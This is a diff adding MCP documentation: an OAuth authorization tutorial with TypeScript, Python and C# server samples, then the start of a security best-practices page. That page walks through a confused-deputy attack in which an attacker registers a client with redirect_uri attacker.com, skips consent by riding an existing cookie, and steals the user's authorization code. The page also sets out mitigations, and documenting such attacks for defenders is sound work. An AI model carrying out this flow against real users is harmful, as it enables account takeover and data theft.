+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) => {
+ try {
+ return checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ });
+ } catch {
+ // Keycloak tokens include non-URL audiences (e.g. "account", "test-client").
+ // Those are never our resource, so treat them as "no match" instead of crashing.
+ return false;
+ }
+ });
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on the `MCPServer` class from the [Python SDK](https://py.sdk.modelcontextprotocol.io/v2/run/authorization/). It publishes the Protected Resource Metadata document, answers unauthenticated requests with a `401` whose `WWW-Authenticate` header points back at that document, and hands every bearer token to a verifier that we supply. Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "test-client")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "")
+
+ # Scope required on every token
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+
+ # Global configuration instance
+ config = Config()
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier. Set them in your environment before starting the server.
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+ from urllib.parse import urljoin
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server import MCPServer
+ from mcp.server.auth.settings import AuthSettings
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> MCPServer:
+ """Create and configure the MCP server."""
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = MCPServer(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ debug=True,
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat(),
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat(),
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ oauth_urls = create_oauth_urls()
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+
+ mcp_server.run(
+ transport="streamable-http",
+ host=config.HOST,
+ port=config.PORT,
+ streamable_http_path="/",
+ )
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts.
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ import httpx2
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx2.Timeout(10.0, connect=5.0)
+ limits = httpx2.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx2.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ }
+ # Only send client_secret when one is configured
+ # Public clients authenticate with client_id alone.
+ if self.client_secret:
+ form_data["client_secret"] = self.client_secret
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ # AccessToken.resource is `str | None`. Keycloak returns `aud`
+ # as a *list* here (e.g. ["test-client", "http://localhost:3000",
+ # "account"]); passing that list straight in raises a pydantic
+ # ValidationError that the broad `except` below turns into a
+ # silent 401. We already confirmed this server's resource is a
+ # valid audience in `_validate_resource`, so record that.
+ resource=self.resource_url,
+ subject=data.get("sub"), # RFC 7662 subject (resource owner)
+ claims=data,
+ )
+
+ except Exception:
+ logger.exception("Token introspection failed")
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(requested_resource=self.resource_url, configured_resource=resource)
+ ```
+
+ For more details, see below or the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+ **Python MCP Server**
+
+ In the server's root have a `pyproject.toml` file and a `mcp_server` folder. Put all the Python files in the `mcp_server` folder, and fill the `pyproject.toml` file like:
+
+ ```toml theme={null}
+ [project]
+ name = "mcp-simple-auth"
+ version = "0.1.0"
+ description = "A simple MCP server demonstrating OAuth authentication"
+ requires-python = ">=3.10"
+ authors = [{ name = "Model Context Protocol a Series of LF Projects, LLC." }]
+ license = { text = "MIT" }
+ dependencies = [
+ "httpx2>=2.5.0",
+ "mcp>=2.0.0rc1",
+ "pydantic>=2.0",
+ ]
+
+ [project.scripts]
+ mcp-simple-auth-rs = "mcp_server.server:main"
+
+ [build-system]
+ requires = ["hatchling"]
+ build-backend = "hatchling.build"
+
+ [tool.hatch.build.targets.wheel]
+ packages = ["mcp_server"]
+
+ [dependency-groups]
+ dev = ["pyright>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"]
+ ```
+
+ Then run the commands below to start the server.
+
+ ```bash theme={null}
+ uv sync
+ uv run mcp-simple-auth-rs
+ ```
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/specification/2026-07-28/basic/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/2026-07-28/basic/authorization)
+* [Security Best Practices](/specification/2026-07-28/basic/security_best_practices)
+* [Available MCP SDKs](/docs/2026-07-28/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/2026-07-28/tutorials/security/security_best_practices.md b/content/mcp/docs/2026-07-28/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..789db5668
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/tutorials/security/security_best_practices.md
@@ -0,0 +1,987 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/latest/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/latest/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
